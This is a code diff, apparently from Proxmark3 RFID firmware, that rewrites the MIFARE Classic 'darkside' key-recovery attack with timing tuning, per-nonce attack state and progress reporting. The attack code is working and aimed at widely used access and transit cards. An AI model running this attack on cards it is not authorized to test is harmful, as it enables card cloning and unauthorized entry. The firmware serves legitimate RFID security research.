+     * should not get stuck on a 'bad' nonce, so no-attack is not needed.
+     * Anyway, arg[0] is reserved for backwards compatibility
+    uint32_t nt_noattack_uint = c->arg[0];
+    byte_t nt_noattack[4];
+    num_to_bytes(parameter, 4, nt_noattack_uint);
+
+     */
+    /*
+     *IF, for some reason, you want to attack a specific nonce or whatever,
+     *you can specify the offset time yourself, in which case it won't be random.
+     *
+     * The offset time is microseconds, MICROSECONDS, not ms.
+     */
+    uint32_t offset_time = c->arg[1];
+    if(offset_time == 0)
+    {
+        //[Martin:]I would like to have used rand(), but linking problems prevented it
+        //offset_time = rand() % 4000;
+        //So instead, I found this nifty thingy, which seems to fit the bill
+        offset_time = GetTickCount() % 2000;
+    }
+    /*
+     * There is an implementation of tuning. Tuning will try to determine
+     * a good power-down time, which is different for different cards.
+     * If a value is specified from the packet, we won't do any tuning.
+     * A value of zero will initialize a tuning.
+     * The power-down time is milliseconds, that MILLI-seconds .
+     */
+    uint32_t powerdown_time = c->arg[2];
+    if(powerdown_time == 0)
+    {
+        //Tuning required
+        int entropy = 100;
+        int time = 25;
+        entropy = TuneMifare(time);
+
+        while(entropy > 50 && time < 2000){
+            //Increase timeout, but never more than 500ms at a time
+            time = MIN(time*2, time+500);
+            entropy = TuneMifare(time);
+        }
+        if(entropy > 50){
+            Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
+        }
+        powerdown_time = time;
+    }
+    //The actual attack
+    ReaderMifareBegin(offset_time, powerdown_time);
+}
+void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time)
 {
-	// Mifare AUTH
+    Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time);
+
+    /**
+     *Allocate our state-table and initialize with zeroes
+     **/
+
+    AttackState states[STATE_SIZE] ;
+    //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) );
+    memset(states, 0, STATE_SIZE*sizeof(AttackState));
+
+    // Mifare AUTH
 	uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
-	uint8_t mf_nr_ar[]   = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+	uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);	// was 3560 - tied to other size changes
 
-	uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + 3560);	// was 3560 - tied to other size changes
-	traceLen = 0;
+    traceLen = 0;
 	tracing = false;
 
 	iso14443a_setup();
-
 	LED_A_ON();
 	LED_B_OFF();
 	LED_C_OFF();
 
-	byte_t nt_diff = 0;
 	LED_A_OFF();
-	byte_t par = 0;
-	//byte_t par_mask = 0xff;
-	byte_t par_low = 0;
-	int led_on = TRUE;
 	uint8_t uid[8];
 	uint32_t cuid;
 
-	tracing = FALSE;
-	byte_t nt[4] = {0,0,0,0};
-	byte_t nt_attacked[4], nt_noattack[4];
-	byte_t par_list[8] = {0,0,0,0,0,0,0,0};
-	byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
-	num_to_bytes(parameter, 4, nt_noattack);
-	int isOK = 0, isNULL = 0;
-
-	while(TRUE)
+    byte_t nt[4];
+    int nts_attacked= 0;
+    //Keeps track of progress (max value of nt_diff for our states)
+    int progress = 0;
+    int high_entropy_warning_issued = 0;
+    while(!BUTTON_PRESS())
 	{
-		LED_C_ON();
+		LED_C_OFF();
 		FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-		SpinDelay(200);
+        SpinDelay(powerdown_time);
 		FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-		LED_C_OFF();
-
-		// Test if the action was cancelled
-		if(BUTTON_PRESS()) {
-			break;
-		}
+		LED_C_ON();
+        SpinDelayUs(offset_time);
 
 		if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
 
@@ -1847,74 +2099,66 @@ void ReaderMifare(uint32_t parameter)
 
 		// Receive the (16 bit) "random" nonce
 		if (!ReaderReceive(receivedAnswer)) continue;
-		memcpy(nt, receivedAnswer, 4);
-
-		// Transmit reader nonce and reader answer
-		ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par);
-
-		// Receive 4 bit answer
-		if (ReaderReceive(receivedAnswer))
-		{
-			if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
-
-			isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
-			if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue;
-
-			if (nt_diff == 0)
-			{
-				LED_A_ON();
-				memcpy(nt_attacked, nt, 4);
-				//par_mask = 0xf8;
-				par_low = par & 0x07;
-			}
-
-			led_on = !led_on;
-			if(led_on) LED_B_ON(); else LED_B_OFF();
-			par_list[nt_diff] = par;
-			ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
-
-			// Test if the information is complete
-			if (nt_diff == 0x07) {
-				isOK = 1;
-				break;
-			}
-
-			nt_diff = (nt_diff + 1) & 0x07;
-			mf_nr_ar[3] = nt_diff << 5;
-			par = par_low;
-		} else {
-			if (nt_diff == 0)
-			{
-				par++;
-			} else {
-				par = (((par >> 3) + 1) << 3) | par_low;
-			}
-		}
-	}
-
-	LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE);
-	LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
-	LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
-
-	UsbCommand ack = {CMD_ACK, {isOK, 0, 0}};
-	memcpy(ack.d.asBytes + 0,  uid, 4);
-	memcpy(ack.d.asBytes + 4,  nt, 4);
-	memcpy(ack.d.asBytes + 8,  par_list, 8);
-	memcpy(ack.d.asBytes + 16, ks_list, 8);
-		
-	LED_B_ON();
-	UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
-	LED_B_OFF();	
+        memcpy(nt, receivedAnswer, 4);
+
+        //Now we have the NT. Check if this NT is already under attack
+        AttackState* pState = NULL;
+        int i = 0;
+        for(i = 0 ; i < nts_attacked && pState == NULL; i++)
+        {
+            if( memcmp(nt, states[i].nt, 4) == 0)
+            {
+                //we have it
+                pState = &states[i];
+                //Dbprintf("Existing state found (%d)", i);
+            }
+        }
 
-	// Thats it...
-	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-	LEDsoff();
-	tracing = TRUE;
-	
-	if (MF_DBGLEVEL >= 1)	DbpString("COMMAND mifare FINISHED");
+        if(pState == NULL){
+            if(nts_attacked < STATE_SIZE )
+            {
+                //Initialize  a new state
+                pState = &states[nts_attacked++];
+                //Clear it before use
+                memset(pState, 0, sizeof(AttackState));
+                memcpy(pState->nt, nt, 4);
+                i = nts_attacked;
+                //Dbprintf("New state created, nt=");
+            }else if(!high_entropy_warning_issued){
+                /**
+                 *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by
+                 *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce
+                 *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting
+                 *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish.
+                 */
+                DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)");
+                high_entropy_warning_issued = 1;
+            }
+        }
+        if(pState == NULL) continue;
+
+        int result = continueAttack(pState, receivedAnswer);
+
+        if(result == 1){
+            //One state progressed another step
+            if(pState->nt_diff >  progress)
+            {
+                progress = pState->nt_diff;
+                //Alert the user
+                Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked );
+            }
+            //Dbprintf("State increased to %d in state %d", pState->nt_diff, i);
+        }
+        else if(result == 2){
+            //Dbprintf("Continue attack no answer, par is now %d", pState->par);
+        }
+        else if(result == 0){
+            reportResults(uid,pState,1);
+            return;
+        }
+    }
+    reportResults(uid,NULL,0);
 }
-
-
 //-----------------------------------------------------------------------------
 // MIFARE 1K simulate. 
 // 
@@ -2359,8 +2603,7 @@ void RAMFUNC SniffMifare(uint8_t param) {
 	// C(red) A(yellow) B(green)
 	LEDsoff();
 	// init trace buffer
-	traceLen = 0;
-	memset(trace, 0x44, TRACE_SIZE);
+    iso14a_clear_trace();
 
 	// The command (reader -> tag) that we're receiving.
 	// The length of a received command will in most cases be no more than 18 bytes.
@@ -2492,4 +2735,4 @@ done:
 	
 	Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x Uart.byteCntMax=%x", maxDataLen, Uart.state, Uart.byteCnt, Uart.byteCntMax);
 	LEDsoff();
-}
\ No newline at end of file
+}